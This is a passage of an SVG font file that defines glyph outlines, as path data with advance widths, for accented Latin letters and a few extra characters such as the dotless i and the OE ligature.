<glyph unicode="&#xc1;" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166zM709 1579v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xc2;" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166zM399 1579v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xc3;" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166zM459 1575q32 172 108.5 257t204.5 85q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85 q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#xc4;" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166zM502 1722q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM989 1722q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143 t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xc5;" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166zM608 1550q0 114 73.5 184t195.5 70q118 0 193 -70.5t75 -181.5q0 -113 -74.5 -183.5t-193.5 -70.5q-121 0 -195 68.5t-74 183.5zM788 1550 q0 -37 23.5 -60.5t65.5 -23.5q39 0 63.5 25t24.5 59q0 38 -26.5 62t-61.5 24q-36 0 -62.5 -24t-26.5 -62z" />
<glyph unicode="&#xc6;" horiz-adv-x="1937" d="M-125 0l909 1462h1213l-66 -317h-477l-47 -230h444l-71 -317h-445l-57 -276h477l-67 -322h-869l58 274h-418l-170 -274h-414zM662 602h286l113 543h-68z" />
<glyph unicode="&#xc7;" horiz-adv-x="1290" d="M104 549q0 266 101.5 488t276 335t399.5 113q265 0 481 -131l-148 -305q-93 55 -171 82.5t-162 27.5q-108 0 -195 -78t-136.5 -215t-49.5 -297q0 -134 56 -200t161 -66q83 0 168 20.5t200 69.5v-323q-203 -90 -440 -90q-260 0 -400.5 148.5t-140.5 420.5zM305 -258 q30 -9 78.5 -18t72.5 -9q68 0 68 49q0 73 -145 101l75 135h205l-24 -41q178 -37 178 -195q0 -121 -82.5 -188.5t-233.5 -67.5q-115 0 -192 29v205z" />
<glyph unicode="&#xc8;" horiz-adv-x="1151" d="M33 0l309 1462h868l-65 -317h-477l-47 -230h444l-72 -317h-444l-57 -276h477l-68 -322h-868zM443 1886v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xc9;" horiz-adv-x="1151" d="M33 0l309 1462h868l-65 -317h-477l-47 -230h444l-72 -317h-444l-57 -276h477l-68 -322h-868zM578 1579v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xca;" horiz-adv-x="1151" d="M33 0l309 1462h868l-65 -317h-477l-47 -230h444l-72 -317h-444l-57 -276h477l-68 -322h-868zM303 1579v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xcb;" horiz-adv-x="1151" d="M33 0l309 1462h868l-65 -317h-477l-47 -230h444l-72 -317h-444l-57 -276h477l-68 -322h-868zM383 1722q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM870 1722q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96 z" />
<glyph unicode="&#xcc;" horiz-adv-x="727" d="M31 0l309 1462h397l-309 -1462h-397zM259 1886v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xcd;" horiz-adv-x="727" d="M31 0l309 1462h397l-309 -1462h-397zM345 1579v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xce;" horiz-adv-x="727" d="M31 0l309 1462h397l-309 -1462h-397zM79 1579v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xcf;" horiz-adv-x="727" d="M31 0l309 1462h397l-309 -1462h-397zM159 1722q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM646 1722q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xd0;" horiz-adv-x="1401" d="M10 563l70 320h139l123 579h430q271 0 418 -143.5t147 -409.5q0 -434 -213 -671.5t-598 -237.5h-493l119 563h-142zM494 324h69q111 0 198 71.5t134 204t47 301.5q0 116 -54 179t-151 63h-71l-56 -260h178l-69 -320h-176z" />
<glyph unicode="&#xd1;" horiz-adv-x="1618" d="M33 0l309 1462h455l286 -983h9q29 236 57 371l131 612h348l-309 -1462h-455l-289 1028h-8q-29 -291 -57 -418l-129 -610h-348zM553 1575q32 172 108.5 257t204.5 85q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85 q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#xd2;" horiz-adv-x="1509" d="M104 543q0 265 103 487t280.5 338.5t409.5 116.5q260 0 404.5 -148.5t144.5 -414.5t-99.5 -486.5t-274.5 -338t-406 -117.5q-269 0 -415.5 149t-146.5 414zM500 545q0 -242 200 -242q95 0 176.5 83t128 224t46.5 308q0 114 -48 178.5t-139 64.5q-99 0 -182 -84 t-132.5 -231t-49.5 -301zM612 1886v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xd3;" horiz-adv-x="1509" d="M104 543q0 265 103 487t280.5 338.5t409.5 116.5q260 0 404.5 -148.5t144.5 -414.5t-99.5 -486.5t-274.5 -338t-406 -117.5q-269 0 -415.5 149t-146.5 414zM500 545q0 -242 200 -242q95 0 176.5 83t128 224t46.5 308q0 114 -48 178.5t-139 64.5q-99 0 -182 -84 t-132.5 -231t-49.5 -301zM717 1579v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xd4;" horiz-adv-x="1509" d="M104 543q0 265 103 487t280.5 338.5t409.5 116.5q260 0 404.5 -148.5t144.5 -414.5t-99.5 -486.5t-274.5 -338t-406 -117.5q-269 0 -415.5 149t-146.5 414zM500 545q0 -242 200 -242q95 0 176.5 83t128 224t46.5 308q0 114 -48 178.5t-139 64.5q-99 0 -182 -84 t-132.5 -231t-49.5 -301zM432 1579v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xd5;" horiz-adv-x="1509" d="M104 543q0 265 103 487t280.5 338.5t409.5 116.5q260 0 404.5 -148.5t144.5 -414.5t-99.5 -486.5t-274.5 -338t-406 -117.5q-269 0 -415.5 149t-146.5 414zM500 545q0 -242 200 -242q95 0 176.5 83t128 224t46.5 308q0 114 -48 178.5t-139 64.5q-99 0 -182 -84 t-132.5 -231t-49.5 -301zM489 1575q32 172 108.5 257t204.5 85q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#xd6;" horiz-adv-x="1509" d="M104 543q0 265 103 487t280.5 338.5t409.5 116.5q260 0 404.5 -148.5t144.5 -414.5t-99.5 -486.5t-274.5 -338t-406 -117.5q-269 0 -415.5 149t-146.5 414zM500 545q0 -242 200 -242q95 0 176.5 83t128 224t46.5 308q0 114 -48 178.5t-139 64.5q-99 0 -182 -84 t-132.5 -231t-49.5 -301zM512 1722q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM999 1722q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xd7;" horiz-adv-x="1159" d="M102 1010l187 190l289 -285l292 285l191 -184l-293 -293l287 -291l-185 -188l-292 288l-289 -286l-185 188l283 289z" />
<glyph unicode="&#xd8;" horiz-adv-x="1509" d="M94 31l117 145q-107 141 -107 367q0 262 101 484.5t275.5 340t398.5 117.5q182 0 315 -72l92 115l156 -119l-99 -125q103 -143 103 -362q0 -258 -98.5 -480.5t-271 -342t-392.5 -119.5q-192 0 -324 69l-106 -135zM500 539l467 589q-45 33 -115 33q-94 0 -175 -82 t-129 -224t-48 -306v-10zM586 332q46 -29 114 -29q95 0 176 81.5t128 222.5t47 308z" />
<glyph unicode="&#xd9;" horiz-adv-x="1436" d="M125 410q0 64 12 129l199 923h391l-195 -913q-14 -68 -14 -115q0 -127 121 -127q94 0 147.5 64.5t81.5 197.5l191 893h391l-199 -932q-59 -281 -225 -415.5t-451 -134.5q-134 0 -236.5 55t-158 154t-55.5 221zM555 1886v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159 t-102 148z" />
<glyph unicode="&#xda;" horiz-adv-x="1436" d="M125 410q0 64 12 129l199 923h391l-195 -913q-14 -68 -14 -115q0 -127 121 -127q94 0 147.5 64.5t81.5 197.5l191 893h391l-199 -932q-59 -281 -225 -415.5t-451 -134.5q-134 0 -236.5 55t-158 154t-55.5 221zM725 1579v23q123 102 282 305h439v-15q-45 -54 -191.5 -157 t-245.5 -156h-284z" />
<glyph unicode="&#xdb;" horiz-adv-x="1436" d="M125 410q0 64 12 129l199 923h391l-195 -913q-14 -68 -14 -115q0 -127 121 -127q94 0 147.5 64.5t81.5 197.5l191 893h391l-199 -932q-59 -281 -225 -415.5t-451 -134.5q-134 0 -236.5 55t-158 154t-55.5 221zM440 1579v23q79 72 170 162.5t139 142.5h447 q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xdc;" horiz-adv-x="1436" d="M125 410q0 64 12 129l199 923h391l-195 -913q-14 -68 -14 -115q0 -127 121 -127q94 0 147.5 64.5t81.5 197.5l191 893h391l-199 -932q-59 -281 -225 -415.5t-451 -134.5q-134 0 -236.5 55t-158 154t-55.5 221zM533 1722q0 187 201 187q170 0 170 -125q0 -189 -201 -189 q-88 0 -129 31t-41 96zM1020 1722q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xdd;" horiz-adv-x="1237" d="M164 1462h403l90 -542l312 542h436l-612 -895l-121 -567h-391l120 567zM615 1579v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xde;" horiz-adv-x="1276" d="M33 0l309 1462h391l-45 -211q251 0 385.5 -114t134.5 -326q0 -250 -170.5 -393.5t-470.5 -143.5h-86l-57 -274h-391zM551 594h63q94 0 148.5 49t54.5 156q0 58 -41.5 95.5t-107.5 37.5h-45z" />
<glyph unicode="&#xdf;" horiz-adv-x="1460" d="M-260 -162q63 -18 117 -18q74 0 111.5 30t51.5 95l244 1151q53 249 201.5 360t417.5 111q243 0 379.5 -99t136.5 -274q0 -118 -51 -198t-162 -132q-117 -56 -117 -102q0 -29 20.5 -50.5t87.5 -56.5q95 -51 140 -118t45 -164q0 -117 -58.5 -205.5t-170 -138t-271.5 -49.5 q-161 0 -274 45v299q59 -29 136.5 -45.5t133.5 -16.5q59 0 87 22t28 50q0 32 -19.5 53.5t-113.5 83.5q-88 56 -127 111.5t-39 130.5q0 92 42 150.5t165 125.5q71 40 100 76t29 80q0 58 -41.5 88.5t-116.5 30.5q-78 0 -132.5 -50t-74.5 -147l-252 -1184 q-43 -192 -153.5 -283.5t-292.5 -91.5q-110 0 -207 27v303z" />
<glyph unicode="&#xe0;" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5zM400 1548v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xe1;" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5zM531 1241v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xe2;" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5zM262 1238v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xe3;" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5zM301 1237q32 172 108.5 257t204.5 85q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#xe4;" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5zM331 1384q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM818 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xe5;" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5zM488 1489q0 114 73.5 184t195.5 70q118 0 193 -70.5t75 -181.5q0 -113 -74.5 -183.5t-193.5 -70.5q-121 0 -195 68.5t-74 183.5zM668 1489q0 -37 23.5 -60.5t65.5 -23.5q39 0 63.5 25t24.5 59q0 38 -26.5 62t-61.5 24q-36 0 -62.5 -24 t-26.5 -62z" />
<glyph unicode="&#xe6;" horiz-adv-x="1788" d="M84 412q0 179 73 365t184.5 281t246.5 95q92 0 152 -38t110 -122h8l53 140h207v-95q58 56 132.5 85.5t146.5 29.5q157 0 251.5 -86.5t94.5 -228.5q0 -201 -157 -308.5t-451 -107.5h-60v-16q0 -148 164 -148q79 0 155 23.5t173 74.5v-274q-99 -58 -182.5 -80t-192.5 -22 q-179 0 -262 112l-31 -92h-227l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q76 0 134.5 123t58.5 284q0 65 -23 104.5t-65 39.5q-49 0 -93 -57.5t-71 -155t-27 -195.5zM1114 664h29q109 0 171 41.5t62 109.5 q0 32 -20 54t-64 22q-61 0 -114 -69.5t-64 -157.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="1032" d="M84 442q0 201 76.5 364.5t215 255t314.5 91.5q195 0 367 -80l-123 -287q-133 60 -225 60q-62 0 -115 -48t-87 -143.5t-34 -187.5q0 -91 30 -133.5t95 -42.5q72 0 139.5 23t143.5 63v-307q-80 -44 -168.5 -67t-206.5 -23q-199 0 -310.5 120.5t-111.5 341.5zM176 -258 q30 -9 78.5 -18t72.5 -9q68 0 68 49q0 73 -145 101l75 135h205l-24 -41q178 -37 178 -195q0 -121 -82.5 -188.5t-233.5 -67.5q-115 0 -192 29v205z" />
<glyph unicode="&#xe8;" horiz-adv-x="1186" d="M84 428q0 211 83.5 380.5t229 257t336.5 87.5q190 0 299 -86t109 -229q0 -201 -156.5 -308.5t-452.5 -107.5h-59v-16q0 -148 164 -148q79 0 155 23.5t173 74.5v-274q-112 -57 -209 -79.5t-224 -22.5q-212 0 -330 118.5t-118 329.5zM512 664h29q109 0 171 41.5t62 109.5 q0 32 -20 54t-64 22q-61 0 -114 -69.5t-64 -157.5zM429 1548v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xe9;" horiz-adv-x="1186" d="M84 428q0 211 83.5 380.5t229 257t336.5 87.5q190 0 299 -86t109 -229q0 -201 -156.5 -308.5t-452.5 -107.5h-59v-16q0 -148 164 -148q79 0 155 23.5t173 74.5v-274q-112 -57 -209 -79.5t-224 -22.5q-212 0 -330 118.5t-118 329.5zM512 664h29q109 0 171 41.5t62 109.5 q0 32 -20 54t-64 22q-61 0 -114 -69.5t-64 -157.5zM523 1241v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xea;" horiz-adv-x="1186" d="M84 428q0 211 83.5 380.5t229 257t336.5 87.5q190 0 299 -86t109 -229q0 -201 -156.5 -308.5t-452.5 -107.5h-59v-16q0 -148 164 -148q79 0 155 23.5t173 74.5v-274q-112 -57 -209 -79.5t-224 -22.5q-212 0 -330 118.5t-118 329.5zM512 664h29q109 0 171 41.5t62 109.5 q0 32 -20 54t-64 22q-61 0 -114 -69.5t-64 -157.5zM277 1241v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xeb;" horiz-adv-x="1186" d="M84 428q0 211 83.5 380.5t229 257t336.5 87.5q190 0 299 -86t109 -229q0 -201 -156.5 -308.5t-452.5 -107.5h-59v-16q0 -148 164 -148q79 0 155 23.5t173 74.5v-274q-112 -57 -209 -79.5t-224 -22.5q-212 0 -330 118.5t-118 329.5zM512 664h29q109 0 171 41.5t62 109.5 q0 32 -20 54t-64 22q-61 0 -114 -69.5t-64 -157.5zM336 1384q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM823 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xec;" horiz-adv-x="666" d="M23 0l239 1133h389l-241 -1133h-387zM167 1548v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xed;" horiz-adv-x="666" d="M23 0l239 1133h389l-241 -1133h-387zM294 1241v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xee;" horiz-adv-x="666" d="M23 0l239 1133h389l-241 -1133h-387zM-7 1241v23q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xef;" horiz-adv-x="666" d="M23 0l239 1133h389l-241 -1133h-387zM91 1384q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM578 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xf0;" horiz-adv-x="1155" d="M84 426q0 170 62.5 305t178.5 209t267 74q130 0 203 -88l10 4q-19 142 -90 246l-273 -127l-82 168l220 102q-29 25 -95 74l115 180q136 -61 231 -137l238 110l82 -166l-184 -90q71 -88 114 -249t43 -324q0 -360 -154.5 -548.5t-449.5 -188.5q-201 0 -318.5 119 t-117.5 327zM471 408q0 -148 84 -148q53 0 93 44.5t63.5 119t23.5 147.5q0 76 -18.5 119t-65.5 43q-81 0 -130.5 -101t-49.5 -224z" />
<glyph unicode="&#xf1;" horiz-adv-x="1274" d="M23 0l239 1133h309l-12 -158h8q55 95 129.5 136.5t182.5 41.5q141 0 220 -85.5t79 -236.5q0 -106 -25 -229l-127 -602h-387l129 618q18 78 18 142q0 43 -22 64.5t-53 21.5q-57 0 -105.5 -71t-79.5 -222l-116 -553h-387zM319 1237q32 172 108.5 257t204.5 85 q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#xf2;" d="M84 416q0 210 79.5 379.5t223.5 263.5t336 94q209 0 322.5 -113t113.5 -323t-79.5 -379.5t-223.5 -263.5t-336 -94q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5zM404 1548v21 h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xf3;" d="M84 416q0 210 79.5 379.5t223.5 263.5t336 94q209 0 322.5 -113t113.5 -323t-79.5 -379.5t-223.5 -263.5t-336 -94q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5zM533 1241v23 q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xf4;" d="M84 416q0 210 79.5 379.5t223.5 263.5t336 94q209 0 322.5 -113t113.5 -323t-79.5 -379.5t-223.5 -263.5t-336 -94q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5zM247 1241v23 q79 72 170 162.5t139 142.5h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xf5;" d="M84 416q0 210 79.5 379.5t223.5 263.5t336 94q209 0 322.5 -113t113.5 -323t-79.5 -379.5t-223.5 -263.5t-336 -94q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5zM277 1237 q32 172 108.5 257t204.5 85q34 0 59.5 -6.5t94.5 -42.5q31 -17 66 -33t67 -16q78 0 115 100h190q-34 -172 -112.5 -257t-208.5 -85q-33 0 -65 8t-61 22t-46 23q-73 45 -127 45q-31 0 -60.5 -27t-36.5 -73h-188z" />
<glyph unicode="&#xf6;" d="M84 416q0 210 79.5 379.5t223.5 263.5t336 94q209 0 322.5 -113t113.5 -323t-79.5 -379.5t-223.5 -263.5t-336 -94q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5zM317 1384 q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM804 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xf7;" horiz-adv-x="1159" d="M102 586v272h975v-272h-975zM432 373q0 83 41 127.5t117 44.5q74 0 114.5 -44.5t40.5 -127.5q0 -81 -41.5 -126.5t-113.5 -45.5q-74 0 -116 46t-42 126zM432 1071q0 83 41 127.5t117 44.5q74 0 114.5 -44.5t40.5 -127.5q0 -81 -41.5 -126.5t-113.5 -45.5q-74 0 -116 46 t-42 126z" />
<glyph unicode="&#xf8;" horiz-adv-x="1286" d="M66 -2l112 131q-94 117 -94 287q0 207 81.5 377.5t230.5 265t347 94.5q136 0 250 -57l105 121l127 -109l-105 -123q82 -114 82 -268q0 -208 -81 -377.5t-229 -264.5t-343 -95q-127 0 -238 49l-118 -140zM449 451l335 397q-35 29 -82 29q-67 0 -125 -55t-92 -153t-36 -218 zM518 274q29 -14 72 -14q107 0 172 101.5t74 287.5z" />
<glyph unicode="&#xf9;" horiz-adv-x="1274" d="M96 301q0 106 25 229l127 603h387l-129 -617q-19 -82 -19 -141q0 -44 22.5 -65t53.5 -21q59 0 107.5 78.5t77.5 214.5l116 551h387l-239 -1133h-310l13 158h-8q-54 -93 -128.5 -135.5t-183.5 -42.5q-141 0 -220 85.5t-79 235.5zM412 1548v21h396q29 -157 94 -303v-25 h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="&#xfa;" horiz-adv-x="1274" d="M96 301q0 106 25 229l127 603h387l-129 -617q-19 -82 -19 -141q0 -44 22.5 -65t53.5 -21q59 0 107.5 78.5t77.5 214.5l116 551h387l-239 -1133h-310l13 158h-8q-54 -93 -128.5 -135.5t-183.5 -42.5q-141 0 -220 85.5t-79 235.5zM584 1241v23q123 102 282 305h439v-15 q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xfb;" horiz-adv-x="1274" d="M96 301q0 106 25 229l127 603h387l-129 -617q-19 -82 -19 -141q0 -44 22.5 -65t53.5 -21q59 0 107.5 78.5t77.5 214.5l116 551h387l-239 -1133h-310l13 158h-8q-54 -93 -128.5 -135.5t-183.5 -42.5q-141 0 -220 85.5t-79 235.5zM285 1241v23q79 72 170 162.5t139 142.5 h447q26 -59 78 -149.5t102 -155.5v-23h-266q-46 41 -156 174q-140 -110 -240 -174h-274z" />
<glyph unicode="&#xfc;" horiz-adv-x="1274" d="M96 301q0 106 25 229l127 603h387l-129 -617q-19 -82 -19 -141q0 -44 22.5 -65t53.5 -21q59 0 107.5 78.5t77.5 214.5l116 551h387l-239 -1133h-310l13 158h-8q-54 -93 -128.5 -135.5t-183.5 -42.5q-141 0 -220 85.5t-79 235.5zM371 1384q0 187 201 187q170 0 170 -125 q0 -189 -201 -189q-88 0 -129 31t-41 96zM858 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xfd;" horiz-adv-x="1114" d="M-129 -168q46 -12 109 -12q87 0 142.5 36.5t98.5 114.5l23 41l-162 1121h389l43 -562l2 -62v-87h8q37 132 50 165.5t239 545.5h416l-670 -1276q-96 -185 -223 -267t-311 -82q-92 0 -154 17v307zM492 1241v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156 h-284z" />
<glyph unicode="&#xfe;" d="M-82 -492l434 2048h387l-49 -231q-38 -175 -90 -301h8q44 59 96.5 94t131.5 35q151 0 237 -112t86 -306q0 -203 -70 -382.5t-185.5 -276t-252.5 -96.5q-143 0 -231 145h-8q-12 -166 -56 -371l-51 -246h-387zM485 434q0 -65 23 -104t65 -39q48 0 92 57t71.5 153t27.5 197 q0 144 -86 144q-50 0 -95 -57t-71.5 -154t-26.5 -197z" />
<glyph unicode="&#xff;" horiz-adv-x="1114" d="M-129 -168q46 -12 109 -12q87 0 142.5 36.5t98.5 114.5l23 41l-162 1121h389l43 -562l2 -62v-87h8q37 132 50 165.5t239 545.5h416l-670 -1276q-96 -185 -223 -267t-311 -82q-92 0 -154 17v307zM259 1384q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31 t-41 96zM746 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#x131;" horiz-adv-x="666" d="M23 0l239 1133h389l-241 -1133h-387z" />
<glyph unicode="&#x152;" horiz-adv-x="1909" d="M104 528q0 196 58.5 379t164.5 313t252.5 197.5t323.5 67.5q94 0 191 -23h874l-67 -319h-478l-47 -225h445l-72 -322h-444l-58 -272h477l-65 -324h-815q-104 -20 -197 -20q-256 0 -399.5 146.5t-143.5 401.5zM500 526q0 -217 182 -217q96 0 180 41l162 762 q-53 49 -154 49q-96 0 -182.5 -88t-137 -235t-50.5 -312z" />
